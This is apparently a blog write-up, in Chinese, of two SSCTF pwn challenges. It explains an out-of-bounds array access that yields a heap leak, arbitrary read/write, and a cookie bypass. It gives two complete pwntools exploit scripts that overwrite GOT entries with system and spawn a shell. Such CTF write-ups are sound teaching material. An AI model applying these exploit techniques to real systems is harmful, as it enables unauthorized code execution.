SSCTF-PWN

  前几天比赛的PWN题,简单写了下。

PWN400

  漏洞是一个数组越界访问造成的任意地址读写。在对数据排序后,对数据进行查询和更新时,可以访问到数组以外一个元素(4个字节)。

  程序中存在3种数据结构,第一种是用于存储排序数据的基本块。可以定义为:

typedef struct chunk1{
    int size;
    int array[size];
}chunk1, *pchunk1;

  第二种是用于索引这些排序数据块的基本块。可以定义为:

typedef struct chunk2{
    pchunk1 data;
    struct chunk2 *next;
}chunk2, *pchunk2;

  第三种是用来索引前两种的基本块,在利用过程中并没有涉及到该数据结构。

  通过构造内存,可以造成堆地址泄漏(这个简单,对数据进行排序后,通过越界访问就可以泄漏堆地址信息),此外,精心构造可以造成两个第一种基本块相邻接,这样就可以通过地址越界将相邻的第一种基本块的大小改为很大,造成任意地址的读和写。当然了,在该题中必须有整数溢出的一个漏洞才能达到最后的目的。

 1 from pwn import *
 2 import time
 3 #context.log_level = 'debug'
 4 #by wangaohui
 5 s = remote('127.0.0.1', 10001)
 6 
 7 time.sleep(1)
 8 print 'pid of pwn1 is :' + str(pwnlib.util.proc.pidof('pwn1')[0])
 9 raw_input('go!')
10 
11 def sort(data):
12     s.sendline('sort')
13     s.recvuntil('How many numbers do you want to sort: ')
14     s.sendline(str(len(data)))
15     for i in data:
16         s.recvuntil('Enter a number: ')
17         s.sendline(str(i))
18 s.recvuntil('_CMD_$ ')
19 sort([1])
20 s.recvuntil('Choose: ')
21 s.sendline('3')
22 s.recvuntil('Choose: ')
23 s.sendline('1')
24 s.recvuntil('Query index: ')
25 s.sendline('1')
26 s.recvuntil('Query result: ')
27 bigtrunk = int(s.recvuntil('
')[:-1])
28 print 'leaked bigtrunk addr is %x' % bigtrunk
29 s.recvuntil('Choose: ')
30 s.sendline('7')
31 
32 s.recvuntil('_CMD_$ ')
33 sort([1,2,3,4,5,6,7])
34 s.recvuntil('Choose: ')
35 s.sendline('3')
36 s.recvuntil('Choose: ')
37 s.sendline('7')
38 
39 s.sendline('clear')
40 
41 s.recvuntil('_CMD_$ ')
42 sort([1,2,3,4,5,6,7])
43 s.recvuntil('Choose: ')
44 s.sendline('3')
45 s.recvuntil('Choose: ')
46 s.sendline('7')
47 
48 s.recvuntil('_CMD_$ ')
49 sort([1])
50 s.recvuntil('Choose: ')
51 s.sendline('2')
52 s.recvuntil('Update index: ')
53 s.sendline('1')
54 s.recvuntil('Update number: ')
55 s.sendline('1073741825') #0x40000001
56 s.recvuntil('Update succeed!')
57 s.sendline('7')
58 
59 s.recvuntil('_CMD_$ ')
60 s.sendline('reload')
61 s.recvuntil('Reload history ID: ')
62 s.sendline('0')
63 s.recvuntil('Choose: ')
64 s.sendline('1')
65 
66 atoigot = int('0804D020',16) + 0x100000000
67 index = (atoigot - (bigtrunk + 0xc))/4
68 
69 s.recvuntil('Query index: ')
70 s.sendline(str(index))
71 s.recvuntil('Query result: ')
72 atoi = int(s.recvuntil('
')[:-1])&0xffffffff
73 print 'leaked aoti addr: %x' % atoi
74 system = atoi - 0x2F7F0 + 0x3E360    #debug
75 
76 s.recvuntil('Choose: ')
77 s.sendline('2')
78 s.recvuntil('Update index: ')
79 s.sendline(str(index))
80 s.recvuntil('Update number: ')
81 systemstr = '-' + str((system^0xffffffff)+1)
82 s.sendline(systemstr)
83 
84 s.recvuntil('Choose: ')
85 s.sendline('/bin/sh;')
86 s.interactive()

PWN600

    在PWN的基础上对第一种基本块加了Cookie,并在查询和更新时利用Cookie判断该基本块是否被Corrupted。增加了Cookie后,利用难度增加,Cookie是存放在.data数据段中,通过第一种数据块覆盖第二种数据块,可以造成Cookie的泄漏。

    泄漏了Cookie后,就可以构造内存,伪造第一种基本数据块,接下来的思路就和PWN400相类似,任意地址读写。我这个EXP有个成功概率的问题,不会每次都成功。

 1 from pwn import *
 2 import time
 3 #context.log_level = 'debug'
 4 
 5 s = remote('127.0.0.1', 10001)
 6 time.sleep(1)
 7 print 'pid of pwn2 is :' + str(pwnlib.util.proc.pidof('pwn2')[0])
 8 raw_input('go!')
 9 
10 def sort(data):
11     s.sendline('sort')
12     s.recvuntil('How many numbers do you want to sort: ')
13     s.sendline(str(len(data)))
14     for i in data:
15         s.recvuntil('Enter a number: ')
16         s.sendline(str(i))
17 
18 s.recvuntil('_CMD_$ ')
19 sort([1,2])
20 s.recvuntil('Choose: ')
21 s.sendline('3')
22 s.recvuntil('Choose: ')
23 s.sendline('1')
24 s.recvuntil('Query index: ')
25 s.sendline('2')
26 s.recvuntil('Query result: ')
27 bigtrunk = int(s.recvuntil('
')[:-1])
28 print 'leaked bigtrunk addr is %x' % bigtrunk
29 
30 s.recvuntil('Choose: ')
31 s.sendline('2')
32 s.recvuntil('Update index: ')
33 s.sendline('2')
34 s.recvuntil('Update number: ')
35 s.sendline(str(int('0804C04C',16)))
36 s.recvuntil('Choose: ')
37 s.sendline('7')
38 
39 s.recvuntil('_CMD_$ ')
40 s.sendline('history')
41 s.recvuntil(', Len = ')
42 random = int(s.recvuntil(',')[:-1])
43 print 'leaked cookie is %x' % random
44 
45 s.recvuntil('_CMD_$ ')
46 t1 = int('40000001',16)
47 t2 = t1^random
48 if(t2>t1):
49     print 'Will be Exploited!'
50 sort([t1,t2,t2+1,t2+2,t2+3,t2+4,t2+5,t2+6])
51 s.recvuntil('Choose: ')
52 s.sendline('3')
53 pos = bigtrunk + 0x20
54 s.recvuntil('Choose: ')
55 s.sendline('2')
56 s.recvuntil('Update index: ')
57 s.sendline('8')
58 s.recvuntil('Update number: ')
59 s.sendline(str(pos))
60 s.recvuntil('Choose: ')
61 s.sendline('7')
62 
63 s.recvuntil('_CMD_$ ')
64 s.sendline('reload')
65 
66 base = bigtrunk + 0x50
67 atol_got = 0x10804C01C
68 index = (atol_got - base)/4
69 print 'index is %d' % index
70 s.recvuntil('Reload history ID: ')
71 s.sendline('1')
72 s.recvuntil('Choose: ')
73 s.sendline('1')
74 s.recvuntil('Query index: ')
75 s.sendline(str(index))
76 s.recvuntil('Query result: ')
77 atol = int(s.recvuntil('
')[:-1])&0xffffffff
78 system = atol - 0x000327B0 + 0x0003E360
79 print 'leaked system addr is %x' % system
80 systemstr = '-' + str((system^0xffffffff)+1)
81 
82 s.recvuntil('Choose: ')
83 s.sendline('2')
84 s.recvuntil('Update index: ')
85 s.sendline(str(index))
86 s.recvuntil('Update number: ')
87 s.sendline(systemstr) 
88 s.recvuntil('Update succeed!')
89 s.recvuntil('Choose: ')
90 
91 s.sendline('/bin/sh;')
92 s.interactive()
原文地址:https://www.cnblogs.com/wangaohui/p/5244043.html